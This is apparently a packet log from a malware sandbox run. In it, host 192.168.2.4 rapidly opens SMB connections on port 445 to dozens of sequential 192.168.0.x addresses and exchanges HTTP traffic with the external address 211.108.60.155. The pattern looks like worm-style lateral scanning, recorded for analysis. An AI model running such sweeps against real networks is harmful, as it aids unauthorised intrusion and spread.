Jul 6, 2024 14:10:23.869482040 CEST	49921	445	192.168.2.4	192.168.0.154
Jul 6, 2024 14:10:23.869710922 CEST	445	49923	192.168.0.156	192.168.2.4
Jul 6, 2024 14:10:23.869759083 CEST	49923	445	192.168.2.4	192.168.0.156
Jul 6, 2024 14:10:23.870773077 CEST	445	49925	192.168.0.30	192.168.2.4
Jul 6, 2024 14:10:23.870783091 CEST	445	49926	192.168.0.31	192.168.2.4
Jul 6, 2024 14:10:23.870794058 CEST	445	49927	192.168.0.158	192.168.2.4
Jul 6, 2024 14:10:23.870842934 CEST	49925	445	192.168.2.4	192.168.0.30
Jul 6, 2024 14:10:23.870868921 CEST	49927	445	192.168.2.4	192.168.0.158
Jul 6, 2024 14:10:23.870876074 CEST	49926	445	192.168.2.4	192.168.0.31
Jul 6, 2024 14:10:23.870994091 CEST	49925	445	192.168.2.4	192.168.0.30
Jul 6, 2024 14:10:23.871001959 CEST	49926	445	192.168.2.4	192.168.0.31
Jul 6, 2024 14:10:23.871020079 CEST	49927	445	192.168.2.4	192.168.0.158
Jul 6, 2024 14:10:23.875691891 CEST	445	49925	192.168.0.30	192.168.2.4
Jul 6, 2024 14:10:23.875857115 CEST	445	49926	192.168.0.31	192.168.2.4
Jul 6, 2024 14:10:23.876590014 CEST	445	49927	192.168.0.158	192.168.2.4
Jul 6, 2024 14:10:23.876636028 CEST	49927	445	192.168.2.4	192.168.0.158
Jul 6, 2024 14:10:23.880039930 CEST	49928	445	192.168.2.4	192.168.0.159
Jul 6, 2024 14:10:23.886087894 CEST	445	49928	192.168.0.159	192.168.2.4
Jul 6, 2024 14:10:23.888290882 CEST	49928	445	192.168.2.4	192.168.0.159
Jul 6, 2024 14:10:23.888354063 CEST	49928	445	192.168.2.4	192.168.0.159
Jul 6, 2024 14:10:23.894443035 CEST	445	49928	192.168.0.159	192.168.2.4
Jul 6, 2024 14:10:23.894453049 CEST	445	49928	192.168.0.159	192.168.2.4
Jul 6, 2024 14:10:23.894505024 CEST	49928	445	192.168.2.4	192.168.0.159
Jul 6, 2024 14:10:23.895708084 CEST	49929	445	192.168.2.4	192.168.0.32
Jul 6, 2024 14:10:23.896044970 CEST	49930	445	192.168.2.4	192.168.0.160
Jul 6, 2024 14:10:23.900475979 CEST	445	49929	192.168.0.32	192.168.2.4
Jul 6, 2024 14:10:23.900836945 CEST	445	49930	192.168.0.160	192.168.2.4
Jul 6, 2024 14:10:23.900933981 CEST	49929	445	192.168.2.4	192.168.0.32
Jul 6, 2024 14:10:23.900990009 CEST	49930	445	192.168.2.4	192.168.0.160
Jul 6, 2024 14:10:23.900998116 CEST	49929	445	192.168.2.4	192.168.0.32
Jul 6, 2024 14:10:23.901050091 CEST	49930	445	192.168.2.4	192.168.0.160
Jul 6, 2024 14:10:23.905786991 CEST	445	49929	192.168.0.32	192.168.2.4
Jul 6, 2024 14:10:23.906455040 CEST	445	49930	192.168.0.160	192.168.2.4
Jul 6, 2024 14:10:23.906506062 CEST	445	49930	192.168.0.160	192.168.2.4
Jul 6, 2024 14:10:23.908281088 CEST	49930	445	192.168.2.4	192.168.0.160
Jul 6, 2024 14:10:23.911211014 CEST	49931	445	192.168.2.4	192.168.0.33
Jul 6, 2024 14:10:23.911366940 CEST	49932	445	192.168.2.4	192.168.0.34
Jul 6, 2024 14:10:23.911417007 CEST	49933	445	192.168.2.4	192.168.0.161
Jul 6, 2024 14:10:23.915980101 CEST	445	49931	192.168.0.33	192.168.2.4
Jul 6, 2024 14:10:23.916152000 CEST	445	49932	192.168.0.34	192.168.2.4
Jul 6, 2024 14:10:23.916162014 CEST	445	49933	192.168.0.161	192.168.2.4
Jul 6, 2024 14:10:23.916218996 CEST	49931	445	192.168.2.4	192.168.0.33
Jul 6, 2024 14:10:23.916251898 CEST	49932	445	192.168.2.4	192.168.0.34
Jul 6, 2024 14:10:23.916255951 CEST	49933	445	192.168.2.4	192.168.0.161
Jul 6, 2024 14:10:23.916310072 CEST	49932	445	192.168.2.4	192.168.0.34
Jul 6, 2024 14:10:23.916400909 CEST	49933	445	192.168.2.4	192.168.0.161
Jul 6, 2024 14:10:23.916419029 CEST	49931	445	192.168.2.4	192.168.0.33
Jul 6, 2024 14:10:23.921030998 CEST	445	49932	192.168.0.34	192.168.2.4
Jul 6, 2024 14:10:23.921231985 CEST	445	49931	192.168.0.33	192.168.2.4
Jul 6, 2024 14:10:23.922103882 CEST	445	49933	192.168.0.161	192.168.2.4
Jul 6, 2024 14:10:23.924287081 CEST	49933	445	192.168.2.4	192.168.0.161
Jul 6, 2024 14:10:23.927377939 CEST	49934	445	192.168.2.4	192.168.0.162
Jul 6, 2024 14:10:23.932135105 CEST	445	49934	192.168.0.162	192.168.2.4
Jul 6, 2024 14:10:23.932303905 CEST	49934	445	192.168.2.4	192.168.0.162
Jul 6, 2024 14:10:23.932404041 CEST	49934	445	192.168.2.4	192.168.0.162
Jul 6, 2024 14:10:23.937660933 CEST	445	49934	192.168.0.162	192.168.2.4
Jul 6, 2024 14:10:23.940280914 CEST	49934	445	192.168.2.4	192.168.0.162
Jul 6, 2024 14:10:23.942497015 CEST	49935	445	192.168.2.4	192.168.0.35
Jul 6, 2024 14:10:23.942816973 CEST	49936	445	192.168.2.4	192.168.0.163
Jul 6, 2024 14:10:23.947422981 CEST	445	49935	192.168.0.35	192.168.2.4
Jul 6, 2024 14:10:23.947660923 CEST	445	49936	192.168.0.163	192.168.2.4
Jul 6, 2024 14:10:23.947736979 CEST	49935	445	192.168.2.4	192.168.0.35
Jul 6, 2024 14:10:23.947755098 CEST	49936	445	192.168.2.4	192.168.0.163
Jul 6, 2024 14:10:23.947841883 CEST	49935	445	192.168.2.4	192.168.0.35
Jul 6, 2024 14:10:23.952574968 CEST	445	49935	192.168.0.35	192.168.2.4
Jul 6, 2024 14:10:23.957842112 CEST	49936	445	192.168.2.4	192.168.0.163
Jul 6, 2024 14:10:23.958292007 CEST	49937	445	192.168.2.4	192.168.0.164
Jul 6, 2024 14:10:23.962738991 CEST	445	49936	192.168.0.163	192.168.2.4
Jul 6, 2024 14:10:23.963087082 CEST	445	49937	192.168.0.164	192.168.2.4
Jul 6, 2024 14:10:23.963248014 CEST	49936	445	192.168.2.4	192.168.0.163
Jul 6, 2024 14:10:23.963278055 CEST	49937	445	192.168.2.4	192.168.0.164
Jul 6, 2024 14:10:23.963360071 CEST	49937	445	192.168.2.4	192.168.0.164
Jul 6, 2024 14:10:23.968476057 CEST	445	49937	192.168.0.164	192.168.2.4
Jul 6, 2024 14:10:23.972280979 CEST	49937	445	192.168.2.4	192.168.0.164
Jul 6, 2024 14:10:23.973932028 CEST	49938	445	192.168.2.4	192.168.0.36
Jul 6, 2024 14:10:23.974198103 CEST	49939	445	192.168.2.4	192.168.0.165
Jul 6, 2024 14:10:23.978749990 CEST	445	49938	192.168.0.36	192.168.2.4
Jul 6, 2024 14:10:23.978988886 CEST	445	49939	192.168.0.165	192.168.2.4
Jul 6, 2024 14:10:23.979057074 CEST	49938	445	192.168.2.4	192.168.0.36
Jul 6, 2024 14:10:23.979070902 CEST	49939	445	192.168.2.4	192.168.0.165
Jul 6, 2024 14:10:23.979147911 CEST	49938	445	192.168.2.4	192.168.0.36
Jul 6, 2024 14:10:23.979155064 CEST	49939	445	192.168.2.4	192.168.0.165
Jul 6, 2024 14:10:23.983951092 CEST	445	49938	192.168.0.36	192.168.2.4
Jul 6, 2024 14:10:23.984540939 CEST	445	49939	192.168.0.165	192.168.2.4
Jul 6, 2024 14:10:23.988281012 CEST	49939	445	192.168.2.4	192.168.0.165
Jul 6, 2024 14:10:23.989337921 CEST	49940	445	192.168.2.4	192.168.0.37
Jul 6, 2024 14:10:23.989506960 CEST	49941	445	192.168.2.4	192.168.0.166
Jul 6, 2024 14:10:23.994093895 CEST	445	49940	192.168.0.37	192.168.2.4
Jul 6, 2024 14:10:23.994259119 CEST	445	49941	192.168.0.166	192.168.2.4
Jul 6, 2024 14:10:23.994343996 CEST	49940	445	192.168.2.4	192.168.0.37
Jul 6, 2024 14:10:23.994410038 CEST	49941	445	192.168.2.4	192.168.0.166
Jul 6, 2024 14:10:23.994410992 CEST	49940	445	192.168.2.4	192.168.0.37
Jul 6, 2024 14:10:23.999247074 CEST	445	49940	192.168.0.37	192.168.2.4
Jul 6, 2024 14:10:24.004729986 CEST	49941	445	192.168.2.4	192.168.0.166
Jul 6, 2024 14:10:24.005029917 CEST	49942	445	192.168.2.4	192.168.0.38
Jul 6, 2024 14:10:24.005178928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.005203009 CEST	49943	445	192.168.2.4	192.168.0.39
Jul 6, 2024 14:10:24.005208015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.005225897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.005249977 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.005274057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.005310059 CEST	49944	445	192.168.2.4	192.168.0.167
Jul 6, 2024 14:10:24.005311966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.005364895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.005378008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.005419970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.005487919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.005521059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.005526066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.005532026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.005567074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.005781889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.005794048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.005809069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006042004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006042004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.006052017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006062984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006084919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.006103039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.006244898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006254911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006288052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.006407976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006417990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006428003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006453037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.006479979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.006572008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006614923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006654024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.006810904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006823063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006833076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006846905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.006865025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.006912947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006922007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.006958008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.007320881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.007330894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.007342100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.007356882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.007384062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.007388115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.007968903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.007992029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008002996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008006096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008027077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008047104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008074999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008086920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008095980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008114100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008137941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008176088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008188009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008197069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008224010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008251905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008268118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008279085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008287907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008312941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008342981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008487940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008517981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008558989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008682966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008694887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008704901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008722067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008733988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008904934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008914948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008924961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.008944988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.008956909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.009191990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.009203911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.009213924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.009234905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.009246111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.009326935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.009363890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.009392977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.009404898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.009438038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.009598017 CEST	445	49941	192.168.0.166	192.168.2.4
Jul 6, 2024 14:10:24.009639025 CEST	49941	445	192.168.2.4	192.168.0.166
Jul 6, 2024 14:10:24.009763956 CEST	445	49942	192.168.0.38	192.168.2.4
Jul 6, 2024 14:10:24.009819031 CEST	49942	445	192.168.2.4	192.168.0.38
Jul 6, 2024 14:10:24.009890079 CEST	49942	445	192.168.2.4	192.168.0.38
Jul 6, 2024 14:10:24.010010004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.010042906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.010054111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.010088921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.010113955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.010127068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.010138988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.010149002 CEST	445	49943	192.168.0.39	192.168.2.4
Jul 6, 2024 14:10:24.010169029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.010205984 CEST	49943	445	192.168.2.4	192.168.0.39
Jul 6, 2024 14:10:24.010236979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.010246992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.010257959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.010277033 CEST	49943	445	192.168.2.4	192.168.0.39
Jul 6, 2024 14:10:24.010283947 CEST	445	49944	192.168.0.167	192.168.2.4
Jul 6, 2024 14:10:24.010287046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.010293961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.010310888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.010345936 CEST	49944	445	192.168.2.4	192.168.0.167
Jul 6, 2024 14:10:24.010389090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.010415077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.010426044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.014987946 CEST	445	49942	192.168.0.38	192.168.2.4
Jul 6, 2024 14:10:24.015235901 CEST	445	49943	192.168.0.39	192.168.2.4
Jul 6, 2024 14:10:24.020369053 CEST	49944	445	192.168.2.4	192.168.0.167
Jul 6, 2024 14:10:24.020690918 CEST	49945	445	192.168.2.4	192.168.0.40
Jul 6, 2024 14:10:24.020891905 CEST	49946	445	192.168.2.4	192.168.0.168
Jul 6, 2024 14:10:24.025366068 CEST	445	49944	192.168.0.167	192.168.2.4
Jul 6, 2024 14:10:24.025413990 CEST	49944	445	192.168.2.4	192.168.0.167
Jul 6, 2024 14:10:24.025568008 CEST	445	49945	192.168.0.40	192.168.2.4
Jul 6, 2024 14:10:24.025630951 CEST	49945	445	192.168.2.4	192.168.0.40
Jul 6, 2024 14:10:24.025661945 CEST	445	49946	192.168.0.168	192.168.2.4
Jul 6, 2024 14:10:24.025727034 CEST	49945	445	192.168.2.4	192.168.0.40
Jul 6, 2024 14:10:24.025757074 CEST	49946	445	192.168.2.4	192.168.0.168
Jul 6, 2024 14:10:24.025810957 CEST	49946	445	192.168.2.4	192.168.0.168
Jul 6, 2024 14:10:24.030591965 CEST	445	49945	192.168.0.40	192.168.2.4
Jul 6, 2024 14:10:24.031312943 CEST	445	49946	192.168.0.168	192.168.2.4
Jul 6, 2024 14:10:24.031380892 CEST	49946	445	192.168.2.4	192.168.0.168
Jul 6, 2024 14:10:24.036505938 CEST	49947	445	192.168.2.4	192.168.0.169
Jul 6, 2024 14:10:24.041358948 CEST	445	49947	192.168.0.169	192.168.2.4
Jul 6, 2024 14:10:24.041440010 CEST	49947	445	192.168.2.4	192.168.0.169
Jul 6, 2024 14:10:24.051712036 CEST	49947	445	192.168.2.4	192.168.0.169
Jul 6, 2024 14:10:24.051990986 CEST	49948	445	192.168.2.4	192.168.0.42
Jul 6, 2024 14:10:24.052139044 CEST	49949	445	192.168.2.4	192.168.0.41
Jul 6, 2024 14:10:24.052275896 CEST	49950	445	192.168.2.4	192.168.0.43
Jul 6, 2024 14:10:24.052649021 CEST	49951	445	192.168.2.4	192.168.0.170
Jul 6, 2024 14:10:24.056869984 CEST	445	49947	192.168.0.169	192.168.2.4
Jul 6, 2024 14:10:24.056881905 CEST	445	49948	192.168.0.42	192.168.2.4
Jul 6, 2024 14:10:24.056938887 CEST	49947	445	192.168.2.4	192.168.0.169
Jul 6, 2024 14:10:24.056977034 CEST	49948	445	192.168.2.4	192.168.0.42
Jul 6, 2024 14:10:24.057049990 CEST	49948	445	192.168.2.4	192.168.0.42
Jul 6, 2024 14:10:24.057177067 CEST	445	49949	192.168.0.41	192.168.2.4
Jul 6, 2024 14:10:24.057188034 CEST	445	49950	192.168.0.43	192.168.2.4
Jul 6, 2024 14:10:24.057239056 CEST	49949	445	192.168.2.4	192.168.0.41
Jul 6, 2024 14:10:24.057260990 CEST	49950	445	192.168.2.4	192.168.0.43
Jul 6, 2024 14:10:24.057296038 CEST	49949	445	192.168.2.4	192.168.0.41
Jul 6, 2024 14:10:24.057368994 CEST	49950	445	192.168.2.4	192.168.0.43
Jul 6, 2024 14:10:24.057735920 CEST	445	49951	192.168.0.170	192.168.2.4
Jul 6, 2024 14:10:24.057812929 CEST	49951	445	192.168.2.4	192.168.0.170
Jul 6, 2024 14:10:24.057878971 CEST	49951	445	192.168.2.4	192.168.0.170
Jul 6, 2024 14:10:24.061774015 CEST	445	49948	192.168.0.42	192.168.2.4
Jul 6, 2024 14:10:24.062131882 CEST	445	49949	192.168.0.41	192.168.2.4
Jul 6, 2024 14:10:24.062241077 CEST	445	49950	192.168.0.43	192.168.2.4
Jul 6, 2024 14:10:24.063277960 CEST	445	49951	192.168.0.170	192.168.2.4
Jul 6, 2024 14:10:24.064291954 CEST	49951	445	192.168.2.4	192.168.0.170
Jul 6, 2024 14:10:24.067521095 CEST	49952	445	192.168.2.4	192.168.0.44
Jul 6, 2024 14:10:24.067641020 CEST	49953	445	192.168.2.4	192.168.0.171
Jul 6, 2024 14:10:24.072432041 CEST	445	49952	192.168.0.44	192.168.2.4
Jul 6, 2024 14:10:24.072443008 CEST	445	49953	192.168.0.171	192.168.2.4
Jul 6, 2024 14:10:24.072526932 CEST	49952	445	192.168.2.4	192.168.0.44
Jul 6, 2024 14:10:24.072529078 CEST	49953	445	192.168.2.4	192.168.0.171
Jul 6, 2024 14:10:24.072599888 CEST	49952	445	192.168.2.4	192.168.0.44
Jul 6, 2024 14:10:24.072691917 CEST	49953	445	192.168.2.4	192.168.0.171
Jul 6, 2024 14:10:24.078716993 CEST	445	49952	192.168.0.44	192.168.2.4
Jul 6, 2024 14:10:24.078946114 CEST	445	49953	192.168.0.171	192.168.2.4
Jul 6, 2024 14:10:24.079006910 CEST	49953	445	192.168.2.4	192.168.0.171
Jul 6, 2024 14:10:24.083343029 CEST	49954	445	192.168.2.4	192.168.0.172
Jul 6, 2024 14:10:24.089417934 CEST	445	49954	192.168.0.172	192.168.2.4
Jul 6, 2024 14:10:24.091536045 CEST	49954	445	192.168.2.4	192.168.0.172
Jul 6, 2024 14:10:24.091651917 CEST	49954	445	192.168.2.4	192.168.0.172
Jul 6, 2024 14:10:24.098812103 CEST	49955	445	192.168.2.4	192.168.0.45
Jul 6, 2024 14:10:24.099280119 CEST	445	49954	192.168.0.172	192.168.2.4
Jul 6, 2024 14:10:24.099334002 CEST	49954	445	192.168.2.4	192.168.0.172
Jul 6, 2024 14:10:24.099462032 CEST	49956	445	192.168.2.4	192.168.0.173
Jul 6, 2024 14:10:24.106251955 CEST	445	49955	192.168.0.45	192.168.2.4
Jul 6, 2024 14:10:24.106321096 CEST	49955	445	192.168.2.4	192.168.0.45
Jul 6, 2024 14:10:24.106388092 CEST	49955	445	192.168.2.4	192.168.0.45
Jul 6, 2024 14:10:24.106790066 CEST	445	49956	192.168.0.173	192.168.2.4
Jul 6, 2024 14:10:24.106858969 CEST	49956	445	192.168.2.4	192.168.0.173
Jul 6, 2024 14:10:24.112518072 CEST	445	49955	192.168.0.45	192.168.2.4
Jul 6, 2024 14:10:24.114095926 CEST	49956	445	192.168.2.4	192.168.0.173
Jul 6, 2024 14:10:24.114383936 CEST	49957	445	192.168.2.4	192.168.0.46
Jul 6, 2024 14:10:24.114597082 CEST	49958	445	192.168.2.4	192.168.0.47
Jul 6, 2024 14:10:24.114597082 CEST	49959	445	192.168.2.4	192.168.0.174
Jul 6, 2024 14:10:24.119010925 CEST	445	49956	192.168.0.173	192.168.2.4
Jul 6, 2024 14:10:24.119081020 CEST	49956	445	192.168.2.4	192.168.0.173
Jul 6, 2024 14:10:24.119138002 CEST	445	49957	192.168.0.46	192.168.2.4
Jul 6, 2024 14:10:24.119194984 CEST	49957	445	192.168.2.4	192.168.0.46
Jul 6, 2024 14:10:24.119251966 CEST	49957	445	192.168.2.4	192.168.0.46
Jul 6, 2024 14:10:24.119626045 CEST	445	49958	192.168.0.47	192.168.2.4
Jul 6, 2024 14:10:24.119683027 CEST	49958	445	192.168.2.4	192.168.0.47
Jul 6, 2024 14:10:24.119725943 CEST	445	49959	192.168.0.174	192.168.2.4
Jul 6, 2024 14:10:24.119740009 CEST	49958	445	192.168.2.4	192.168.0.47
Jul 6, 2024 14:10:24.119776964 CEST	49959	445	192.168.2.4	192.168.0.174
Jul 6, 2024 14:10:24.124033928 CEST	445	49957	192.168.0.46	192.168.2.4
Jul 6, 2024 14:10:24.124524117 CEST	445	49958	192.168.0.47	192.168.2.4
Jul 6, 2024 14:10:24.129736900 CEST	49959	445	192.168.2.4	192.168.0.174
Jul 6, 2024 14:10:24.130251884 CEST	49960	445	192.168.2.4	192.168.0.175
Jul 6, 2024 14:10:24.134682894 CEST	445	49959	192.168.0.174	192.168.2.4
Jul 6, 2024 14:10:24.135071993 CEST	445	49960	192.168.0.175	192.168.2.4
Jul 6, 2024 14:10:24.135144949 CEST	49959	445	192.168.2.4	192.168.0.174
Jul 6, 2024 14:10:24.135170937 CEST	49960	445	192.168.2.4	192.168.0.175
Jul 6, 2024 14:10:24.135293961 CEST	49960	445	192.168.2.4	192.168.0.175
Jul 6, 2024 14:10:24.140571117 CEST	445	49960	192.168.0.175	192.168.2.4
Jul 6, 2024 14:10:24.144301891 CEST	49960	445	192.168.2.4	192.168.0.175
Jul 6, 2024 14:10:24.149243116 CEST	49961	445	192.168.2.4	192.168.0.176
Jul 6, 2024 14:10:24.154115915 CEST	445	49961	192.168.0.176	192.168.2.4
Jul 6, 2024 14:10:24.156311035 CEST	49961	445	192.168.2.4	192.168.0.176
Jul 6, 2024 14:10:24.156634092 CEST	49961	445	192.168.2.4	192.168.0.176
Jul 6, 2024 14:10:24.161231041 CEST	49962	445	192.168.2.4	192.168.0.48
Jul 6, 2024 14:10:24.161351919 CEST	49963	445	192.168.2.4	192.168.0.49
Jul 6, 2024 14:10:24.161550045 CEST	49964	445	192.168.2.4	192.168.0.50
Jul 6, 2024 14:10:24.161921024 CEST	445	49961	192.168.0.176	192.168.2.4
Jul 6, 2024 14:10:24.161983967 CEST	49961	445	192.168.2.4	192.168.0.176
Jul 6, 2024 14:10:24.162147045 CEST	49965	445	192.168.2.4	192.168.0.177
Jul 6, 2024 14:10:24.166079044 CEST	445	49962	192.168.0.48	192.168.2.4
Jul 6, 2024 14:10:24.166090965 CEST	445	49963	192.168.0.49	192.168.2.4
Jul 6, 2024 14:10:24.166141033 CEST	49962	445	192.168.2.4	192.168.0.48
Jul 6, 2024 14:10:24.166162014 CEST	49963	445	192.168.2.4	192.168.0.49
Jul 6, 2024 14:10:24.166227102 CEST	49962	445	192.168.2.4	192.168.0.48
Jul 6, 2024 14:10:24.166295052 CEST	49963	445	192.168.2.4	192.168.0.49
Jul 6, 2024 14:10:24.166321039 CEST	445	49964	192.168.0.50	192.168.2.4
Jul 6, 2024 14:10:24.166460037 CEST	49964	445	192.168.2.4	192.168.0.50
Jul 6, 2024 14:10:24.166529894 CEST	49964	445	192.168.2.4	192.168.0.50
Jul 6, 2024 14:10:24.166862965 CEST	445	49965	192.168.0.177	192.168.2.4
Jul 6, 2024 14:10:24.166920900 CEST	49965	445	192.168.2.4	192.168.0.177
Jul 6, 2024 14:10:24.166981936 CEST	49965	445	192.168.2.4	192.168.0.177
Jul 6, 2024 14:10:24.170990944 CEST	445	49962	192.168.0.48	192.168.2.4
Jul 6, 2024 14:10:24.171005011 CEST	445	49963	192.168.0.49	192.168.2.4
